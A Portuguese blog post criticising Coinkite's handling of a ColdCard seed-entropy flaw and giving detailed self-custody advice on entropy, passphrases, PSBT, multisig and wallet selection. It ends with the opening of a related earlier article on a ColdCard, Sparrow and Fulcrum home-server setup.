Já vi gente chamando o caso de “black swan”, como se uma conjunção cósmica de eventos imprevisíveis tivesse acertado a Coinkite. Não foi.

O código vulnerável estava visível no repositório desde março de 2021. O commit era enorme, mas não secreto. O fallback determinístico estava num submodule público. A macro definida como zero estava no board config. O #ifndef errado estava na integração. Faltava seguir a chamada de geração da seed até o símbolo resolvido no binário e escrever um teste que provasse de onde vinha a entropia.

Um black swan é raro, surpreendente e só parece óbvio depois. Este era um white swan: risco conhecido na categoria mais sensível do produto, com causa observável e consequência previsível. Ninguém sabia o dia exato em que alguém ligaria os pontos e varreria as wallets. A bomba, porém, estava montada e fazendo tic-tac em público por cinco anos.

E a Coinkite ajudou a reduzir o número de pessoas dispostas a desarmá-la.

Em 2021, Marko Bencun, da Shift/BitBox, e Hugo Nguyen, da Nunchuk, reportaram responsavelmente uma falha crítica de multisig. A Coinkite corrigiu o código, mas as release notes não avisaram que era vulnerabilidade nem comunicaram urgência. O pedido de bounty de Bencun foi ignorado. A empresa só publicou um alerta mais explícito depois que o pesquisador publicou os detalhes.

A política atual de responsible disclosure continua deixando valor, elegibilidade e prazo a critério da empresa. Pesquisadores de concorrentes ou laboratórios bem financiados não recebem bounty. O texto ainda solta um “we are not here to make it easy for you”, como se antagonizar quem audita seu cofre fosse uma demonstração de personalidade.

Zach Herbert também documentou ataques públicos de NVK contra a Foundation depois que ela usou código GPL da ColdCard: “pure clone”, “leeches” e “affinity scamming”. Herbert é concorrente e tem interesse na disputa, mas os posts e screenshots existem. Minha opinião sobre NVK como CEO ficou péssima. Ele cultivou uma postura hostil justamente com fabricantes e pesquisadores que tinham conhecimento e incentivo técnico pra revisar o produto.

Não preciso afirmar que todo pesquisador abandonou a Coinkite. Basta olhar os incentivos. White hat competente pode passar semanas desmontando firmware. Se a empresa minimiza achado, ignora bounty, trata concorrente como inimigo e reserva pra si a decisão de quando algo merece crédito, esse pesquisador trabalha em outro produto. Código aberto permite auditoria; não obriga ninguém a oferecer auditoria de graça pra quem o trata mal.

Portanto não foi azar de uma chance em um bilhão. Foi profecia autorrealizável. A negligência extrema acumulou risco até alguém explorar. Quando explodiu, não apagou número numa planilha da Coinkite. Levou bitcoins reais que, para algumas vítimas, eram anos de economia ou a poupança de uma vida.

Não, “IA quebrou o Bitcoin” coisa nenhuma

A Coinkite escreveu que, como o firmware era público, “temos que assumir” que alguém usou IA pra revisar versões antigas e encontrou o bug. Não apresentou evidência. No parágrafo seguinte admite que, semanas antes, usou um dos melhores modelos disponíveis pra revisar o mesmo código e ele não achou nada sério.

Depois, NVK publicou um pedido de desculpas em nome da Coinkite. Assumiu responsabilidade pelo bug, pediu que todo dono de ColdCard movesse os fundos, reconheceu que firmware novo não conserta seed antiga e disse que a confiança dos usuários terá que ser reconquistada. É o mínimo, mas é importante que tenha dito.

O problema é que ele terminou tentando transformar o desastre numa “realidade sóbria do novo paradigma de IA”, porque revisão assistida por IA agora encontraria bugs antigos mais rápido que especialistas. Não. Isso não tem porra nenhuma a ver com IA. O bug é básico, estava visível no código havia cinco anos e atingia a função mais importante de uma hardware wallet. NVK teve sorte de demorar tanto.

Não desloque a culpa pra AI-assisted code review pra justificar código porco. IA pode ter ajudado alguém a localizar ou explorar a falha. IA não escreveu aquele #ifndef, não desligou o TRNG, não aprovou o rewrite de 120 arquivos e não passou cinco anos sem um teste end-to-end de geração de seed. Tudo isso foi responsabilidade da Coinkite.

Depois da divulgação, pesquisadores reproduziram a falha com ajuda de modelos de fronteira. Ótimo. Isso mostra que IA acelera auditoria e exploração depois que alguém aponta onde cavar. Não significa que uma IA quebrou ECDSA, secp256k1, SHA-256, BIP39 ou Bitcoin.

O atacante enumerou um espaço de chaves que um fabricante reduziu de pelo menos 128 bits pra algo na casa de 40. É força bruta contra números previsíveis. O protocolo Bitcoin fez exatamente o que deveria: aceitou assinaturas válidas produzidas pelas chaves privadas corretas.

IA não quebrou Bitcoin. A Coinkite deixou uma regressão básica sem teste no coração do firmware por cinco anos. Jogar a culpa na ferramenta que talvez tenha ajudado alguém a ler o código é uma maneira conveniente de mudar de assunto.

O que uma wallet realmente guarda

Bitcoin não fica “dentro” da ColdCard, da Ledger ou do arquivo do Sparrow. A blockchain contém UTXOs bloqueados por scripts. Sua wallet guarda o material necessário pra encontrar esses UTXOs e produzir assinaturas que satisfazem os scripts.

Na forma mais básica, uma chave privada é um inteiro escolhido dentro do domínio da curva secp256k1. A chave pública é um ponto calculado a partir dela. Esse caminho é fácil de computar pra frente e inviável de reverter com a computação conhecida. Endereços são representações derivadas de chaves públicas e scripts, não cofres onde moedas moram.

Já expliquei essa base com mais calma em [Akitando #67] Entendendo Conceitos Básicos de Criptografia - Parte 1 e [Akitando #68] Entendendo Conceitos Básicos de Criptografia - Parte 2.

Uma wallet moderna não sorteia uma chave independente pra cada endereço. Ela começa com uma raiz e usa BIP32 pra derivar deterministicamente uma árvore de chaves: contas, endereços de recebimento, troco e assim por diante. Backup da raiz recupera a árvore inteira.

O BIP39 é a camada que transforma entropia binária em palavras legíveis e depois converte mnemonic mais passphrase numa seed binária de 512 bits usada pelo BIP32. As palavras são uma forma humana de transportar aleatoriedade gerada por computador. A especificação avisa explicitamente que não é um método pra inventar uma frase bonita da própria cabeça.

Doze ou 24 palavras é a pergunta errada

Uma mnemonic de 12 palavras codifica 128 bits de entropia mais 4 bits de checksum. Uma de 24 codifica 256 bits mais 8 de checksum. Em condições normais, 128 bits já estão fora do alcance de força bruta.

Mas “24 palavras” não garante que existiram 256 bits reais na entrada. O firmware vulnerável podia produzir uma sequência perfeitamente válida de 24 palavras, checksum correto e tudo, a partir de um espaço efetivo de aproximadamente 40 bits. O atacante não precisa experimentar todas as combinações de palavras. Ele reproduz os estados plausíveis do RNG defeituoso e compara os endereços derivados.

É por isso que a briga 12 contra 24 fica ao lado do ponto. Comprimento da representação não salva fonte previsível. Um UUID impresso em letras douradas continua previsível se alguém chamou rand() com um timestamp.

RNG, TRNG e fontes independentes

RNG é o nome genérico do gerador de números aleatórios. Um PRNG pega um estado inicial, a seed, e expande aquilo numa sequência determinística. Um CSPRNG bem construído continua seguro desde que o estado inicial tenha entropia suficiente e o algoritmo não vaze o estado.

TRNG tenta colher aleatoriedade de fenômenos físicos: ruído eletrônico, jitter de oscilador e coisas do tipo. A Ledger explica seu processo como um TRNG dentro do Secure Element gerando 256 bits, que o BIP39 traduz nas 24 palavras. A empresa diz que esse gerador é testado por laboratório externo e certificado segundo AIS-31. Isso é bem melhor que timer mais serial number, mas continua sendo uma fonte e uma implementação em que você deposita confiança.

Outros projetos preferem combinar fontes. A Trezor usa entropia do aparelho e do host. A BitBox02 documenta cinco fontes: TRNG do secure chip, TRNG do microcontrolador, valor individual instalado na fábrica, entropia fornecida pelo host e hash do password do aparelho.

A palavra que interessa aqui é independência. Dois PRNGs inicializados pelo mesmo relógio não são duas fontes. Dois valores que saem do mesmo secure element também não compram a independência que o diagrama sugere. Fontes independentes, combinadas por uma construção criptográfica correta, fazem o resultado continuar forte mesmo quando algumas falham.

E “combinadas corretamente” carrega metade da segurança da frase. XOR, hash e extractors têm propriedades específicas. Não invente um mixer próprio em meia hora e coloque patrimônio em cima. Use uma implementação revisada, com test vectors, e verifique que o binário executado realmente chama aquele código. Acho que a razão ficou óbvia.

Jogar dados não é tão simples

Cada jogada de um D6 ideal entrega log2(6), cerca de 2,585 bits. Por isso aparecem os números 50 jogadas pra 128 bits e 99 jogadas pra aproximadamente 256 bits. A documentação da ColdCard mostra a conta e o SHA-256 aplicado à sequência. O SeedSigner usa os mesmos patamares: 50 pra 12 palavras ou 99 pra 24.

Essa conta presume dado justo e jogadas independentes. Um dado promocional de plástico barato pode ter bolhas, faces mal cortadas e centro de massa deslocado. Sua mão também pode repetir movimento, a bandeja pode favorecer uma posição e muita gente “rola de novo” quando o dado cai perto da borda. Cada decisão humana depois de olhar o resultado introduz viés.

Se eu fosse gerar uma seed manual hoje, usaria dados de precisão, do tipo usado em cassino, de mais de um fabricante ou lote. A própria BitBox recomenda cinco dados casino-grade no procedimento manual. Eu definiria antes a ordem de leitura, usaria uma bandeja que permita quicar e aceitaria toda jogada válida segundo uma regra escrita antes de começar. Nada de rerrolar porque “não misturou direito”.

Mesmo assim, eu não confiaria só nos dados. Misturaria fontes independentes: mais de um conjunto de dados, coin flips, entropia do host offline e um TRNG de hardware, quando o aparelho suporta. Fazer centenas de jogadas é barato. O cuidado é entregar tudo a um mecanismo auditado que faça a combinação criptográfica. Somar números, escolher as palavras “mais aleatórias” ou concatenar pedaços de mnemonics por conta própria é receita pra perder fundos.

Veja o que o seu aparelho realmente implementa. No setup novo documentado pela Ledger, o TRNG do Secure Element gera a entropia. No modo de restore, as palavras precisam reconstruir exatamente as mesmas chaves. O TRNG não pode jogar entropia secreta em cima da mnemonic importada, porque isso criaria outra wallet e destruiria a função de backup. Portanto, restaurar uma seed feita com dados transfere pro aparelho a custódia e a assinatura, mas não melhora a aleatoriedade original.

Com hardware wallet comercial, eu escolheria um destes caminhos: gerar uma raiz nova no fluxo oficial de um aparelho atualizado que documenta como combina fontes independentes; ou gerar BIP39 fora dele, num processo auditável e completamente offline, e inserir as palavras somente pela tela e pelos botões do signer. Seed criada em MetaMask, website ou notebook conectado e depois restaurada numa Ledger continua sendo hot seed. A própria Ledger resume bem: move, don’t merge.

O BTC D00M Guy tem um tutorial visual em português sobre BIP39, dados e teste de restauração. É uma boa introdução pra enxergar o processo, mas eu não copiaria literalmente o trecho do celular velho em modo avião pra guardar patrimônio sério. Modo avião não prova que o aparelho estava limpo, não remove fisicamente os rádios e formatar flash depois não me dá uma garantia verificável de apagamento. Pra aprender e ensaiar, tudo bem. Pra gerar a seed da poupança da vida, prefiro hardware sem rádio, sistema efêmero verificado ou signer dedicado.

As jogadas viram segredo assim que você decide usá-las. Não fotografe, não dite em voz alta, não guarde em nota do celular e não digite num site. A documentação do SeedSigner recomenda que qualquer verificação de uma seed real aconteça num sistema efêmero como Tails, completamente offline, abandonado depois do teste.

Mais entropia também não corrige processo ruim. Cem jogadas filmadas por uma câmera conectada à nuvem valem zero contra quem tem o vídeo.

Passphrase: outra wallet, não outra senha

No BIP39, a mnemonic é a entrada principal de PBKDF2-HMAC-SHA512. O salt é a string mnemonic concatenada com a passphrase, e a função roda 2.048 iterações. Toda passphrase produz uma wallet válida. Um caractere errado não mostra “senha incorreta”; abre outra wallet, normalmente vazia.

Uma passphrase longa, aleatória, única e independente pode proteger uma mnemonic exposta ou fraca. No caso ColdCard, ela acrescenta um segredo que não veio do RNG defeituoso: o atacante precisa combinar cada candidata à mnemonic com uma tentativa de passphrase. Se essa passphrase tiver entropia suficiente e nunca tiver vazado, o ataque pode voltar a ser inviável.

Mas citação, padrão humano ou senha reutilizada vira ataque de dicionário offline, sem rate limit. As 2.048 iterações do BIP39 não transformam uma passphrase fraca em forte. E perdê-la é tão definitivo quanto perder as palavras. PIN da hardware wallet não substitui passphrase. PIN protege o aparelho físico; passphrase participa da derivação das chaves.

Guarde a passphrase separada da mnemonic e teste uma restauração completa antes de depositar valor relevante. Registre também o fingerprint esperado e pelo menos um endereço. Na restauração, eles dizem se você entrou na wallet certa.

No caso ColdCard, não acrescente uma passphrase agora à seed vulnerável e chame isso de migração. Crie raiz nova. A passphrase pode fazer parte da nova arquitetura, mas os bitcoins precisam sair dos scripts derivados da raiz antiga.

Sparrow, air gap e PSBT

O Sparrow é o coordenador que uso. Ele conhece descriptors, xpubs, endereços, UTXOs e histórico. Pode montar uma transação, mas numa configuração watch-only não tem chave privada pra assinar.

É aí que entra o PSBT, padronizado no BIP174. O Sparrow cria uma Partially Signed Bitcoin Transaction com inputs, outputs, valores e dados de derivação necessários. O arquivo ou QR vai pro signer offline. O signer confere, adiciona sua assinatura e devolve o PSBT. Em multisig, o mesmo pacote passa pelos signers restantes até atingir o quorum. Sparrow combina, finaliza e transmite.

O fluxo single-sig air-gapped fica assim:

1. Sparrow monta a transação no computador online.
2. Você exporta o PSBT por QR ou microSD.
3. ColdCard, SeedSigner ou outro aparelho mostra destino, valor e fee.
4. Você confere na tela do signer e assina.
5. Sparrow importa o PSBT assinado, finaliza e transmite.

Air gap reduz a superfície de ataque. Não é campo de força. QR e microSD continuam transportando dados, firmware malicioso continua sendo firmware malicioso e um coordinator comprometido pode tentar trocar endereço de destino ou de troco. A tela do signer existe pra você comparar endereço, valor e fee antes de apertar Confirm.

E air gap não melhora entropia retroativamente. A ColdCard vulnerável podia passar a vida inteira sem cabo USB. A chave já nasceu fraca.

Multisig 2-de-3: mais seguro e muito mais burocrático

Single-sig concentra tudo numa seed, num backup e numa implementação. Dentro das opções acessíveis hoje, 2-de-3 multisig com signers realmente independentes é o mais perto de segurança máxima que conheço pra eliminar esse ponto único de falha.

Você cria três seeds independentes em signers de fabricantes e codebases diferentes. Sparrow monta uma policy que exige duas assinaturas. Um aparelho pode quebrar ou uma seed pode vazar sem entregar os fundos imediatamente. Dois signers continuam suficientes pra recuperar.

“Independentes” de novo é a palavra que faz o trabalho. Três hardware wallets alimentadas por três seeds filhas do mesmo BIP85 continuam penduradas numa raiz. Três seeds geradas pela mesma ColdCard vulnerável repetem o risco. Use processos e fontes de entropia separados. Eu misturaria, por exemplo, um signer comercial de outro fabricante, um SeedSigner com dados e um terceiro aparelho com arquitetura diferente.

No Sparrow, o procedimento conceitual é:

1. Crie e faça backup de cada seed separadamente.
2. Exporte de cada signer o fingerprint, derivation path e xpub.
3. Crie uma wallet Multi Signature, normalmente Native SegWit, com policy 2-de-3.
4. Importe os três keystores e faça backup do output descriptor da wallet.
5. Registre quais signers correspondem a quais fingerprints.
6. Confira um endereço de recebimento em mais de um signer.
7. Faça um depósito pequeno, restaure/teste os signers e execute uma retirada completa de ensaio.

O descriptor não permite gastar sozinho, mas revela todos os endereços e o histórico. É backup necessário pra reconstruir a policy e também dado sensível de privacidade. Guarde cópias em locais separados das seeds.

Na hora de gastar, Sparrow cria o PSBT; signer A assina; signer B assina; Sparrow combina e transmite. Cada pessoa ou aparelho deve revisar outputs. Multisig com operador que confirma tudo no automático só distribui o mesmo erro em três telas.

Nada disso é mistério pra mim. Mesmo assim, acho burocrático pra cacete: três seeds, três backups, output descriptor, locais separados, dois aparelhos em cada gasto, atualizações de firmware e um plano de recuperação que outra pessoa da família precisa conseguir executar quando você não estiver por perto.

Cada camada reduz um risco técnico e abre outra oportunidade pro operador errar. Usabilidade também faz parte da segurança. Se a arquitetura ficou tão chata que você para de testar os backups, deixa de atualizar os signers ou não consegue documentar a herança, o multisig perfeito do diagrama não vale grande coisa.

Eu entendo perfeitamente quem prefere continuar com single-sig e uma passphrase forte, independente e bem guardada. É muito mais fácil de operar. Só faça essa escolha sabendo que aceita um risco maior: você ainda depende de uma raiz e de um único caminho de assinatura. Se esse ponto cair, cai a wallet inteira. Passphrase adiciona uma barreira; não adiciona uma segunda assinatura independente.

O guia de boas práticas do Sparrow recomenda 2-de-3 com hardware wallets de fornecedores diferentes e backups em locais distintos.

Se uma das chaves do seu 2-de-3 veio de ColdCard afetada, o atacante potencialmente já controla essa chave e consegue produzir uma assinatura. Ainda não consegue gastar sozinho, mas seu limiar efetivo caiu: agora basta comprometer mais um signer. Crie uma wallet multisig nova com cosigner novo e mova os fundos. Não existe “trocar uma chave” mantendo os mesmos endereços; a policy mudou, portanto os scripts também mudam.

Fulcrum resolve privacidade, não chave fraca

Sparrow precisa consultar a blockchain. Num servidor Electrum público, ele pede o histórico dos script hashes derivados dos seus endereços. O servidor pode correlacionar consultas, horário e IP pra agrupar saldo e histórico, mesmo sem receber o xpub bruto. Pra evitar isso, conecto o Sparrow ao meu próprio Bitcoin Core por meio do Fulcrum.

Mostrei a arquitetura e a instalação em Bitcoin no Home Server: Soberania e Privacidade com ColdCard, Sparrow e Fulcrum. O artigo continua útil, com uma correção óbvia: não use uma seed gerada pelo firmware afetado da ColdCard.

Seu node valida a blockchain. Fulcrum indexa e responde rápido ao Sparrow. Isso melhora soberania e privacidade da consulta. Nenhum deles impede um atacante de assinar com uma private key que conseguiu reproduzir por causa de entropia ruim.

Como eu faria a migração hoje

Não transforme uma emergência num segundo acidente. Eu seguiria esta ordem:

1. Faça o inventário. Liste modelo, firmware que gerou a seed, contas, passphrases, derivation paths e multisigs onde aquela chave participa. Não publique saldo nem endereço em rede social.
2. Considere a seed comprometida. Não a digite em software online e não aceite “checker” de terceiros. Continue assinando no aparelho apenas pelo tempo necessário pra sair.
3. Escolha a arquitetura nova. Eu não geraria a nova seed numa ColdCard. Use outro signer novo, comprado diretamente do fabricante, um SeedSigner ou 2-de-3 com implementações diferentes. Não importe nele as palavras antigas. Se insistir em reutilizar a sua ColdCard, instale antes o firmware corrigido pro modelo e release track corretos.
4. Gere entropia nova. Use fontes independentes e um mixer auditado. Pra dados, use material casino-grade, várias fontes e pelo menos 99 jogadas pra uma mnemonic de 24 palavras. Eu faria mais.
5. Faça backup antes de receber. Mnemonic, passphrase separada, fingerprints e descriptor no caso de multisig. Nunca fotografe nem armazene em cloud.
6. Teste restauração. Recrie a wallet, confira fingerprint e endereços. Em multisig, prove que duas chaves conseguem assinar sem depender da terceira.
7. Verifique o endereço na tela. Não confie só no que Sparrow mostra no monitor do computador.
8. Mande um valor pequeno. Confirme que a wallet nova recebe e consegue gastar. A Coinkite também recomenda esse teste.
9. Mova o restante logo depois. Revise fee e todos os outputs. Procure saldo em outras contas, passphrases e endereços de troco derivados da seed velha.
10. Mantenha o backup antigo marcado como comprometido. Guarde até ter certeza de que a migração confirmou e de que nenhum depósito atrasado vai chegar. Nunca reutilize endereço antigo.

Se o ataque estiver correndo contra você, não passe uma semana desenhando o multisig perfeito. Gere um destino seguro e verificado, faça o teste mínimo e tire os fundos do alcance da chave velha. Depois você pode reorganizar UTXOs e melhorar a arquitetura com tempo.

Então qual hardware wallet eu recomendo?

Hoje, nenhuma.

Depois de explicar geração de entropia, BIP39, passphrase, PSBT, air gap, descriptors e multisig, deveria estar claro que self-custody completamente offline e feita à mão é muito difícil. Não espero que uma pessoa normal domine as implicações matemáticas, audite cada algoritmo e execute cada etapa sem errar. Nem a maioria dos programadores conseguiria. Eu também não vou fingir que consigo revisar sozinho toda a cadeia, do silício ao firmware que roda no aparelho.

É justamente por isso que hardware wallets existem. Elas empacotam criptografia e procedimentos complicados numa interface que uma pessoa consegue operar. Isso transfere parte da responsabilidade pro fabricante; não faz a confiança desaparecer.

Deixar a poupança da vida numa conta de exchange continua sendo o pior default. Você não tem as chaves, depende da solvência da empresa, da política de saque, do sistema jurídico e da segurança da conta. Mas um esquema artesanal que você não entende também pode terminar em perda total. Não adianta eliminar o risco de contraparte e substituí-lo por uma cerimônia impossível de restaurar depois de um incêndio ou da própria morte.

Durante anos, hardware wallet foi tratada como o último porto seguro entre esses extremos. A Coinkite abalou essa confiança na categoria inteira. Não quer dizer que Ledger, Trezor, BitBox, Passport, Jade, SeedSigner e todos os demais estejam quebrados ou sejam equivalentes. Quer dizer que nome forte, secure element, air gap, código visível e anos de mercado não bastam. Eu não consigo mais apontar pra um aparelho e dizer: “compre este e durma tranquilo”. Você vai ter que fazer sua lição de casa.

NUNCA compre hardware wallet de segunda mão. Compre nova, diretamente da loja oficial do fabricante. Não economize frete colocando a poupança da sua vida num aparelho que passou pela mão de um desconhecido. Marketplace, leilão, OLX, eBay, “open box”, recondicionado e aquela oferta imperdível de um amigo estão fora de questão.

Quando o pacote chegar, não rasgue tudo e saia apertando botão. Abra a documentação oficial do modelo e siga a verificação de supply chain. A ColdCard usa uma embalagem serializada que evidencia abertura: o número aparece na bolsa, numa aba interna e no próprio aparelho. A Trezor documenta os selos holográficos de cada modelo. A BitBox combina embalagem selada com attestation criptográfica feita pelo aplicativo.

Confira lacre, cortes, cola, número serial, conteúdo da caixa e o mecanismo de autenticidade exibido pelo aparelho ou software oficial. Qualquer divergência encerra o setup: não conecte a seed, não tente “ver se funciona” e fale com o fabricante. O aparelho precisa chegar sem wallet inicializada e deve gerar palavras novas na sua frente. Seed impressa dentro da caixa é golpe.

E cuidado com a linguagem: isso tudo é tamper-evident, não tamper-proof. A própria documentação da ColdCard admite que uma bolsa pode ser atacada; a BitBox diz que embalagem perfeita não garante autenticidade. Lacre intacto é uma camada. Ainda quero attestation ou genuine check, firmware assinado, verificação do hash quando disponível e teste completo com pouco dinheiro.

Eu começaria por estas perguntas:

1. Qual é o threat model publicado? O fabricante precisa dizer contra o que protege e, principalmente, o que fica fora do escopo: computador infectado, aparelho roubado, ataque físico com laboratório, supply chain, firmware direcionado, coerção. “Military-grade security” não é threat model.
2. De onde vem a entropia, exatamente? Procure as fontes, como elas são combinadas e que testes end-to-end provam que o fluxo New Wallet chega ao RNG prometido. Suporte a dados ou entropia externa é útil, mas só se o mecanismo de mistura for documentado e auditado. O caso ColdCard mostrou que ter o TRNG correto dentro do binário não significa que a geração da seed o utiliza.
3. O código é realmente livre e o binário corresponde a ele? “Source available” com licença restritiva não é FOSS. Código aberto permite auditoria, mas não prova que alguém auditou. Build reproduzível permite que terceiros reconstruam o firmware e comparem o resultado bit a bit. Procure verificações independentes e atuais no WalletScrutiny, não apenas a promessa do fabricante.
4. Como a empresa trata quem encontra falhas? Leia a política de disclosure, escopo e valores do bounty. Procure advisories antigos, CVEs, post-mortems e a conversa com pesquisadores. Empresa que publica a falha, explica a causa, corrige rápido e agradece ao pesquisador merece mais confiança que uma com histórico supostamente “perfeito”. Às vezes ninguém encontrou vulnerabilidade porque ninguém competente teve incentivo pra procurar.
5. O que a tela confiável permite verificar? Antes de assinar, o aparelho deve mostrar endereço, valor, fee e troco. Deve conferir endereço de recebimento no próprio display, permitir entrada de PIN e passphrase sem entregá-los ao computador e registrar corretamente a policy de multisig. Secure element protege chave; não salva uma interface que faz você assinar sem entender os outputs.
6. Existe uma rota de saída sem o fabricante? Eu quero padrões interoperáveis: BIP39/BIP32 quando aplicável, PSBT e output descriptors. Quero exportar xpub, fingerprint e descriptor, usar Sparrow, conectar meu node e recuperar em outra implementação. Conta obrigatória, cloud proprietária e backup que só abre no aplicativo da empresa são lock-in em cima da chave da sua vida.
7. Como funcionam hardware, firmware e supply chain? Secure element, microcontrolador comum e signer stateless fazem trocas diferentes. Descubra o que persiste no aparelho e o que um atacante físico consegue extrair. Releases devem ser assinadas, ter changelog útil, impedir downgrade inseguro e receber manutenção por anos. Pesquise como o aparelho verifica autenticidade, como documenta embalagem e transporte, o que acontece se o servidor de update desaparecer e quais componentes fechados existem. Air gap também não é selo mágico: QR, NFC e microSD são parsers de entrada e continuam sendo superfície de ataque.
8. Você consegue restaurar sem improviso? Antes de colocar valor relevante, gere a wallet, faça backup, apague o aparelho e recupere. Confira fingerprint, endereço e uma transação de ida e volta. Em multisig, restaure o descriptor e prove que o quorum funciona sem uma das chaves. Backup nunca testado é esperança, não backup.

Eu também pesquisaria o histórico do repositório, issues de segurança, commits recentes, auditorias independentes e tempo entre vulnerabilidade reportada e correção. Buscaria pelo nome do modelo junto com vulnerability, reproducible build, seed entropy, multisig e responsible disclosure. Review de influenciador com link de afiliado serve pra conhecer a tela e o tamanho do aparelho, não pra decidir onde guardar patrimônio.

Pra valores pequenos, um signer comercial bem pesquisado pode ser muito menos arriscado que uma invenção manual. Pra patrimônio que muda sua vida, 2-de-3 com fabricantes e codebases diferentes continua sendo a referência, como recomenda o guia do Sparrow. Isso limita o estrago de um fornecedor comprometido, mas cobra mais backups, mais testes e uma policy bem documentada. Multisig que você não consegue restaurar é pior que single-sig bem cuidada.

Em alguns serviços de custódia colaborativa, uma empresa segura uma das chaves de um 2-de-3. Ela não deveria conseguir gastar sozinha, mas passa a conhecer dados da sua wallet e pode desaparecer, negar serviço ou complicar uma recuperação. Custodiante profissional também troca risco técnico por risco jurídico e de contraparte. No fim, você escolhe qual risco aceita carregar e qual entrega a terceiros.

O melhor que consigo recomendar não é uma marca. Escolha uma arquitetura proporcional ao valor e descubra quais falhas ela tolera. Antes de colocar dinheiro que faria falta, rode o fluxo inteiro com pouco: receba, gaste, apague um signer, restaure o backup e veja se você consegue voltar sozinho.

Conclusão

Self-custody tira o custodiante do caminho, mas deixa uma responsabilidade brutal no lugar. A confiança continua espalhada por silício, firmware, compilador, processo de build, wallet coordinator e pela sua própria disciplina. Hardware wallet continua tendo utilidade porque fazer tudo na mão é impraticável pra quase todo mundo. O erro é confundir essa ferramenta com garantia.

Eu não recomendo hoje uma marca específica. Prefiro distribuir o risco e criar maneiras de pegar falhas: fontes independentes de entropia, código livre, builds reproduzíveis verificados por terceiros, restaurações ensaiadas, signers diferentes e multisig quando o valor justifica e você aceita a burocracia. Single-sig com passphrase é uma escolha compreensível. Só não oferece a mesma tolerância a falhas. Faça essa escolha sabendo o que está delegando e o risco que decidiu manter com você.

Este pode acabar sendo um dos piores episódios da história da autocustódia em Bitcoin. Não porque alguém deixou moedas numa exchange vagabunda, digitou a seed num site de phishing ou instalou wallet pirata. Muita gente comprou um aparelho dedicado, anotou 24 palavras, guardou o backup em aço, manteve tudo offline e assinou por air gap. Fez exatamente o que a cultura Bitcoin ensinava como o procedimento correto. Mesmo assim foi pega por um bug nojento no instante mais importante de todos: a escolha da raiz.

Nos casos mais graves, o RNG reduziu o universo pra algo na casa de 2^40. O atacante não precisa tocar na ColdCard. Ele enumera os estados possíveis, deriva as árvores BIP32 e os endereços mais prováveis, consulta a blockchain pública e encontra quais candidatos têm UTXOs. Quando encontra, também tem as private keys pra assinar. A ColdCard pode estar desligada, sem bateria, sem USB e dentro de um cofre. Não faz diferença. Air gap protege o caminho entre signer e computador; não recupera entropia que nunca existiu.

Não havia alerta visível. A wallet recebia, assinava e restaurava normalmente até o dia em que outra pessoa reproduziu a mesma chave. Por isso 12 contra 24 palavras, air gap contra USB e secure element contra microcontrolador viram discussões secundárias quando ninguém testou se o botão New Wallet chamava o RNG correto.

Também mostra por que não aceito chamar negligência de black swan. O source estava aberto, o caminho era auditável e a cultura afastava parte das pessoas mais capazes de apontar problemas. Foi um cisne branco esperando alguém olhar na direção certa.

A lição não é abandonar self-custody. É parar de terceirizar entendimento. Estude o threat model, procure como a entropia é gerada, confira o histórico do fabricante, ensaie recuperação e saiba quais riscos continuam concentrados. Não confie cegamente em empresa, certificação, influencer, tutorial ou artigo. Nem neste aqui. Verifique.

Eu já movi meus fundos da ColdCard antiga. Na prática, se você tem qualquer ColdCard, faça o mesmo. Não existe prêmio por descobrir tarde demais que seu caso também tinha uma exceção não documentada.

Escolha a nova arquitetura com os critérios acima. Gere uma raiz completamente nova. Misture entropia independente de verdade. Teste o backup. Confira os endereços. Mova tudo.

Antes de mais nada: isto aqui não é texto de evangelismo nem chamada pra day trade. Muito pelo contrário. No momento em que escrevo, em 1 de abril de 2026, o Bitcoin está na faixa de US$ 68 mil e perto de R$ 391 mil, abaixo dos picos de 2025. Muita gente olha pra isso e entra em pânico ou começa a fantasiar trade alavancado. Eu acho as duas reações erradas. Existe uma tese de “super cycle” baseada em demanda institucional, ETFs spot e efeito defasado do halving. Pode ser. Pode não ser. O que eu sei é que candle de curto prazo não muda a parte que realmente me interessa: infraestrutura. Se você precisa de alavancagem pra “acelerar ganhos”, você provavelmente está só acelerando sua chance de ser liquidado.

Pra mim, a pergunta útil não é “vai subir amanhã?”. A pergunta útil é: “se eu quiser guardar e movimentar Bitcoin sem terceirizar tudo pra exchange, wallet web e API pública, como eu monto isso direito aqui em casa?”

O problema real: conveniência demais custa privacidade demais

O fluxo padrão da maioria das pessoas é simples: compra em exchange, deixa parado lá, ou então instala uma wallet qualquer no celular e pronto. Funciona. Também concentra risco e vaza metadado pra todo lado.

Se você deixa saldo em exchange, você tem risco de custódia. Se você usa wallet desktop apontando pra servidor público, você tem risco de privacidade. Se você usa hardware wallet de forma relaxada, comprada no Mercado Livre de segunda mão, você tem risco de supply chain. Se mistura tudo isso com pressa, pior ainda.

Por isso eu acabei chegando numa combinação que, pra quem é técnico e quer montar a própria infra, me parece bastante sólida:

• Coldcard pro armazenamento frio
• Sparrow Wallet no Linux como carteira desktop e coordenadora das transações
• Fulcrum no home server como servidor Electrum privado
• bitcoind no mesmo servidor como full node de verdade, validando a cadeia e fazendo broadcast sem depender de terceiros

Não é o caminho mais fácil. Mas esse é justamente o ponto. Segurança de verdade raramente vem do caminho mais fácil.

Os conceitos que confundem quem está começando

Antes de entrar no stack, vale alinhar quatro termos que normalmente são jogados no ar como se todo mundo já soubesse:

Em português claro, o fluxo fica assim:

1. A Sparrow, no desktop, monta a transação.
2. Essa transação vira um PSBT.
3. O PSBT vai pra Coldcard por microSD.
4. A Coldcard assina offline.
5. O arquivo assinado volta pra Sparrow.
6. A Sparrow faz o broadcast via seu próprio servidor, não via infraestrutura pública de terceiros.

É isso que as pessoas querem dizer quando falam em “airgapped workflow”. Não é magia. É só separação de papéis feita de forma disciplinada.

Coldcard: signer frio, offline, chato do jeito certo

Eu uso Coldcard como cold storage. O motivo é simples: ela foi pensada desde o começo como dispositivo Bitcoin-only, com foco forte em operação airgapped por microSD. Isso já elimina uma categoria enorme de “comodidades” que muita gente acha prática, mas que eu prefiro não ter perto das minhas chaves.

Na prática, a Coldcard fica com a parte mais importante do sistema: a chave privada. Ela não precisa saber de servidor, de Electrum, de API pública, de exchange, de nada disso. O trabalho dela é um só: assinar transação offline.

Esse desacoplamento é ótimo por dois motivos:

• O desktop pode ser conveniente sem virar ponto único de desastre.
• O signer continua isolado mesmo se sua máquina principal der problema.

E aqui entra um aviso que eu realmente quero deixar em caixa alta mental:

Nunca compre hardware wallet de segunda mão. Nunca.

